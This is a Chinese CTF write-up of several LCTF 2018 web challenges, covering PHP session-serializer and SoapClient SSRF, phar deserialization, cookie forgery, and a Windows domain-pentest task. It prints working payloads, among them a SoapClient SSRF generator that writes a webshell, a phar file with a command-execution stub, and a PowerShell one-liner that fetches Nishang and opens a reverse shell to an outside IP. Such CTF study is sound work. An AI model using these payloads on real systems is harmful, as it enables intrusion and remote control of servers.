很害怕关环境,通宵了一晚把题目基本复现了一遍,睡醒之后发现环境真的关了,那么这波不亏。
bestphp’s revenge
XCTF FINAL bestphp的出题人的又一力作,这次是升级版。1
2
3
4
5
6
7
8
9
10
11
12
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
还发现一个flag.php
目的很明确了,SSRF,再加上后面提示了反序列化,更明确了,soap->ssrf.
这题用了两个call_user_func
,说一下当时的思路,一开始想的是第一个call_user_func
只能用来对b进行变量覆盖,因为不然的话后面的第二个call_user_func
就废了,然后这里的这个session操作也看得很迷,想到过soapclient
和利用序列化处理器,但是soapclient
也还需要调用一个它没有的方法才能去调用__call
方法,当时就没想出来。
session_start
session_start
可以传入数组来初始化并不是新鲜东西,bestphp
就已经用了,这题也一样用到。
序列化处理器
其实序列化处理器这个知识点我之前已经写过了。。但是并没有想起来,可以看看我之前的文章,这也是这题的关键点之一。这里不再赘述,简单写两个demo可以明显看出存储方式上的不同,而php默认的是前者,也就是默认的序列化处理器是php
而不是php_serialize
。php
以|
为分隔符,分隔开key和value,而php_serialize
则是标准的serialize
函数处理后的数据。这里利用两个处理器的差异可以进行一波反序列化的操作。比如,在处理器为php_serialize
时,传入的name是|C0mRaDe
,而下一次session_start()
进行反序列化时,还是用的默认处理器php
,就会把C0mRaDe
当作是value去反序列化。session_start
会反序列化的原因如下:所以,我们传入的name如果是|+构造好的序列化数据
,就可以触发反序列化漏洞。
Soapclient
这个也不是什么新知识点了,我之前的另一篇文章也提到过,这里也不赘述,原理就是这个
call_user_func
这个点看起来平平无奇,但是是我当时想soap这条路最想不通的。因为soap需要去调用它的一个不存在的方法才能触发反序列化漏洞,但是这里没地方给我调用啊。然后,来看一个demo没错。。当你传入一个数组的时候,call_user_func
就变成了一个调用类方法的方法。
结合这三个点,这题就没啥问题了。先给一个生成soap反序列化payload的demo(from wupco)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$target = 'http://127.0.0.1/flag.php';
$post_string = '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=mvsjieeufj0idggkjd123zz'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
// $aaa = str_replace('^^','%0d%0a',$aaa);
// $aaa = str_replace('&','%26',$aaa);
echo $aaa."<br>";
$aaa=urlencode($aaa);
$aaa=str_replace('%5E%5E', '%0d%0a', $aaa);
echo $aaa;
// $c=unserialize(urldecode($aaa));
// $c->ss();
step1:更改序列化处理器,并且传入要进行反序列化的payloadstep2:变量覆盖b,把$_SESSION['name']
替换为Soapclient
step3:get flag.
God of domain-pentest
description:
windows域环境权限不好配,还请各位师傅高抬贵手,不要搅屎
c段只用到了0-20,不需要扫21-255,端口也只开放了常用端口。
web.lctf.com中有个域用户是web.lctf.com\buguake,密码是172.21.0.8的本地管理员密码
这个题cool得不行,Windows域渗透,Nu1L的大佬是全国唯一一队做出来的,膜。我看着wp弄了很久,也还是没有搞出来,但是还是记录一下我自己弄的过程。之前没怎么接触过内网渗透,所以这个部分完全是从一个小白的角度出发写的。
webshell
题目给了一个shell很多命令不能执行,phpinfo
看一下,发现禁了很多函数根据出题人的wp可以绕过强行getshell,但是我这里写另一个方法。
reGeorg与proxychains配合使用
这里有两个必备的工具,一个是reGeorg,另一个是proxychains。proxychains
的安装:./configure->make && make install->cp ./src/proxychains.conf /etc/proxychains.conf
然后,修改/etc/proxychains.conf
,配置socks代理然后运行reGeorg
成功的话,这时候其实你已经处在目标的内网环境当中。接下来只需要在命令前面加个proxychains4
就可以了,比如proxychains4 curl 123.207.99.17
(来自题目IP)
进内网getshell
我nmap了一下,失败了,我也很绝望,不知道为什么。但是不要紧,我有wp,wp说172.21.0.8
有phpmyadmin
,那我赶紧去写个shell。然后拿到webshell参考了这篇文章,用这个payload可以反弹shell。1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 123.207.99.17 -port 2333
接下来的步骤我不会了,即使看了wp我也不知道他在干嘛,这题就先到这里。。内网渗透也是个大学问啊
T4lk 1s ch34p,sh0w m3 the sh31l
description:
It’s a hacker game ,the wonderful hacker can pwn it.
http://212.64.7.171/
ps:The only way you can get the flag is to use grep to check all the folders in the /
题目环境已关,本地复现,这题是我LCTF第一天做出来的唯一一题,太菜了Orz。
进来题目之后有个很酷的前端点进去就开始代码审计1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
$SECRET = `../read_secret`;
$SANDBOX = "../data/" . md5($SECRET. $_SERVER["REMOTE_ADDR"]);
$FILEBOX = "../file/" . md5("K0rz3n". $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@mkdir($FILEBOX);
if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("md5", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}
class K0rz3n_secret_flag {
protected $file_path;
function __destruct(){
if(preg_match('/(log|etc|session|proc|data|read_secret|history|class|\.\.)/i', $this->file_path)){
die("Sorry Sorry Sorry");
}
include_once($this->file_path);
}
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)){
die("Bye");
}
if ( !hash_equals(hash_hmac("md5", $data, $SECRET), $hmac) ){
die("Bye Bye");
}
$data = unserialize($data);
if ( !isset($data->avatar) ){
die("Bye Bye Bye");
}
return $data->avatar;
}
function upload($path) {
if(isset($_GET['url'])){
if(preg_match('/^(http|https).*/i', $_GET['url'])){
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a"){
die("Fuck off");
}
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}else{
die("Hacker");
}
}else{
die("Miss the URL~~");
}
}
function show($path) {
if ( !is_dir($path) || !file_exists($path . "/avatar.gif")) {
$path = "/var/www";
}
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}
function check($path){
if(isset($_GET['c'])){
if(preg_match('/^(ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file)(.|\\s)*/i',$_GET['c'])){
die("Hacker Hacker Hacker");
}else{
$file_path = $_GET['c'];
list($width, $height, $type) = @getimagesize($file_path);
die("Width is :" . $width." px<br>" .
"Height is :" . $height." px<br>");
}
}else{
list($width, $height, $type) = @getimagesize($path."/avatar.gif");
die("Width is :" . $width." px<br>" .
"Height is :" . $height." px<br>");
}
}
function move($source_path,$dest_name){
global $FILEBOX;
$dest_path = $FILEBOX . "/" . $dest_name;
if(preg_match('/(log|etc|session|proc|root|secret|www|history|file|\.\.|ftp|php|phar|zlib|data|glob|ssh2|rar|ogg|expect|http|https)/i',$source_path)){
die("Hacker Hacker Hacker");
}else{
if(copy($source_path,$dest_path)){
die("Successful copy");
}else{
die("Copy failed");
}
}
}
$mode = $_GET["m"];
if ($mode == "upload"){
upload(check_session());
}
else if ($mode == "show"){
show(check_session());
}
else if ($mode == "check"){
check(check_session());
}
else if($mode == "move"){
move($_GET['source'],$_GET['dest']);
}
else{
highlight_file(__FILE__);
}
include("./comments.html");
分析
先看看几个函数的功能:
check_session
检查签名,并且返回一个路径值upload
用来上传文件,题目开了allow_url_fopen
,可以读取远端文件的内容,然后写到指定的位置,文件名是被限制死的show
用来查看文件check
用来检查文件,注意这里的getimagesize
,瞬间就要想到phar反序列化move
完成一个复制的过程
先来看看check_session
返回的路径,把cookie拿出来扔给它就可以了。这个结果就是传进各个函数中的$path
。突然发现,check
的waf并没有想象中那么严格,只匹配了开头,给了phar一条活路为啥说给了一条活路呢,请看这篇很明显,出题人是看了zsx大佬的博客得到的出题灵感。接下来思路很清晰,用upload
函数把phar传上去,然后调用check
函数,用phar协议结合getimagesize
触发反序列化。
解题过程
生成phar1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16<?php
class K0rz3n_secret_flag{
protected $file_path='../data/6bf34a39764d154948e41c42b7bbd29c';
}
@unlink('shell.phar');
$phar=new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('te.txt','asd');
$phar->setStub("GIF89a".'<?php echo `$_GET[1]`;__HALT_COMPILER(); ?>');
$o=new K0rz3n_secret_flag();
$phar->setMetaData($o);
$phar->stopBuffering();
?>
放到VPS上,改名为avatar.gif
,然后上传然后check触发反序列化http://192.168.222.201/T4lk%201s%20ch34p,sh0w%20m3%20the%20sh31l/www/html/LCTF.php?m=check&c=compress.zlib://phar://../data/6bf34a39764d154948e41c42b7bbd29c/avatar.gif/asd&1=ls
最后用grep -r
在/etc目录下找到flag
sh0w m3 the sh31l 4ga1n
description:
Real hackers won’t be fooled by filtering
ps:The only way you can get the flag is to use grep to check all the folders in the /
与上一题相比,两个题目只有K0rz3n_secret_flag
这个类有所不同。1
2
3
4
5
6
7
8
9
10
class K0rz3n_secret_flag {
protected $file_path;
function __destruct(){
if(preg_match('/(log|etc|session|proc|data|read_secret|history|class|\.\.)/i', $this->file_path)){
die("Sorry Sorry Sorry");
}
include_once($this->file_path);
}
}
假的secret
这题相比起T4lk 1s ch34p,sh0w m3 the sh31l
难度增加了不少,加强了waf不能用..和data
,导致上一道题的包含自身的思路不能再用了,要另辟蹊径。在上一道题getshell之后发现,read_secret
其实就是一串字符串,但是这里获取它的方法却是执行系统命令这也就导致了它返回的是一个null
,从而导致签名可以伪造。伪造签名:此时check_session
返回的就是/tmp
了。于是这时候我们upload就是upload到/tmp目录下了,绕过了file_path
的waf。再继续像上题一样包含即可。要注意这里/tmp目录会不停清文件,但是问题不大,开着burp轻轻地爆破,然后这边一样执行命令就可以了。
预期解
看到flag就知道,这个一样不是预期解。预期解在这里。
L playground2
点进去看到源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52import re
import os
http_schema = re.compile(r"https?")
url_parser = re.compile(r"(\w+)://([\w\-@\.:]+)/?([\w/_\-@&\?\.=%()]+)?(#[\w\-@&_\?()/%]+)?")
base_dir = os.path.dirname(os.path.abspath(__file__))
sandbox_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "sandbox")
def parse_file(path):
filename = os.path.join(sandbox_dir, path)
if "./" in filename or ".." in filename:
return "invalid content in url"
if not filename.startswith(base_dir):
return "url have to start with %s" % base_dir
if filename.endswith("py") or "flag" in filename:
return "invalid content in filename"
if os.path.isdir(filename):
file_list = os.listdir(filename)
return ", ".join(file_list)
elif os.path.isfile(filename):
with open(filename, "rb") as f:
content = f.read()
return content
else:
return "can't find file"
def parse(url):
fragments = url_parser.findall(url)
if len(fragments) != 1 or len(fragments[0]) != 4:
return("invalid url")
schema = fragments[0][0]
host = fragments[0][1]
path = fragments[0][2]
if http_schema.match(schema):
return "It's a valid http url"
elif schema == "file":
if host != "sandbox":
return "wrong file path"
return parse_file(path)
else:
return "unknown schema"
def render_static():
url = request.args.get("url")
try:
if url is None or url == "":
content = "no url input"
else:
content = parse(url)
resp = make_response(content)
except Exception:
resp = make_response("url error")
resp.mimetype = "text/plain"
return resp
这代码意思还比较明确,就是拿来解析url参数,然后读取文件内容的。这里要用到这个特性由此可以实现目录穿越。随便输一点得到了basedir
。这里有一个知识点,运行python脚本时会生成一个__pycache__
目录,里面存放的是pyc这里可以直接读一下,列目录拿到main.pyc
和session.pyc
,拿去反编译
main.py:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def index():
user = request.cookies.get('user', '')
try:
username = session_decode(user)
except Exception:
username = get_username()
content = escape(username)
else:
if username == 'admin':
content = escape(FLAG)
else:
content = escape(username)
resp = make_response(render_template('main.html', content=content))
return resp
session.py:1
2
3
4
5
6
7
8def session_decode(info):
info_list = str.split(info, '.')
if len(info_list) != 2:
raise Exception('error info')
info_ = decode(info_list[0])
if not hash_verify(info_list[1], info_):
raise Exception('hash wrong')
return info_
hash.py:1
2
3
4
5
6
7
8
9
10class MDA:
def insert(self, inBuf):
self.init()
self.update(inBuf)
def grouping(self, inBufGroup):
hexdigest_group = ''
for inBuf in inBufGroup:
self.insert(inBuf)
hexdigest_group += self.hexdigest()
return hexdigest_group
可以看到,目的就是伪造cookie,这里他是每个字符分开去算,然后拼接,所以要做的就是分别找到a,d,m,i,n所对应的加密后的内容。这里只要一直把cookie清空,然后发多几次包收集一下就可以了最终payload:1
user=MFSG22LO.b962d95efd25247984407154c863ef36e80346042c47531a6e1beb0db216d969b020cd1cf4031b57
(.前面就是个base32)
Finally…
Travel
description:
Go where you want to go
hint1: 没有需要扫描和fuzz的东西,RTFM!!!
hint2: 留意云服务商和差异性
hint3: header
进来就是源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40# -*- coding: utf-8 -*-
from flask import request, render_template
from config import create_app
import os
import urllib
import requests
import uuid
app = create_app()
def upload_file(filename):
name = request.cookies.get('name')
pwd = request.cookies.get('pwd')
if name != 'lctf' or pwd != str(uuid.getnode()):
return "0"
filename = urllib.unquote(filename)
with open(os.path.join(app.config['UPLOAD_FOLDER'], filename), 'w') as f:
f.write(request.get_data(as_text = True))
return "1"
return "0"
def index():
url = request.args.get('url', '')
if url == '':
return render_template('index.html')
if "http" != url[: 4]:
return "hacker"
try: response = requests.get(url, timeout = 10)
response.encoding = 'utf-8'
return response.text
except:
return "Something Error"
def get_source():
return open(__file__).read()
if __name__ == '__main__':
app.run()
有一个发送请求的功能,然后可以看到upload
处的关键代码它先进行了一次urldecode(所以要二次编码),然后把POST的body的值写入指定的文件,这里同样要用到这个关键特性因此前面的路径名是无效的。还可以看到upload
处需要获得uuid.getnode()
的值,也就是MAC地址的十进制(HCTF碰到过)hint说留意云服务商和差异性,那么查一查发现是腾讯云,再看看腾讯云的文档,看到这个拿到mac地址那么uuid.getnode()
就是90520735500403
接下来的问题,怎么用PUT请求去访问upload
?nginx仅用了PUT请求,要用X-HTTP-Method-Override:PUT
绕过。然后就是往目标机器写authorized_keys
了,可以写/home/lctf/.ssh/authorized_keys
登上去读flag即可
Reference
https://www.anquanke.com/post/id/164569
https://xz.aliyun.com/t/3341#toc-18
https://www.anquanke.com/post/id/99793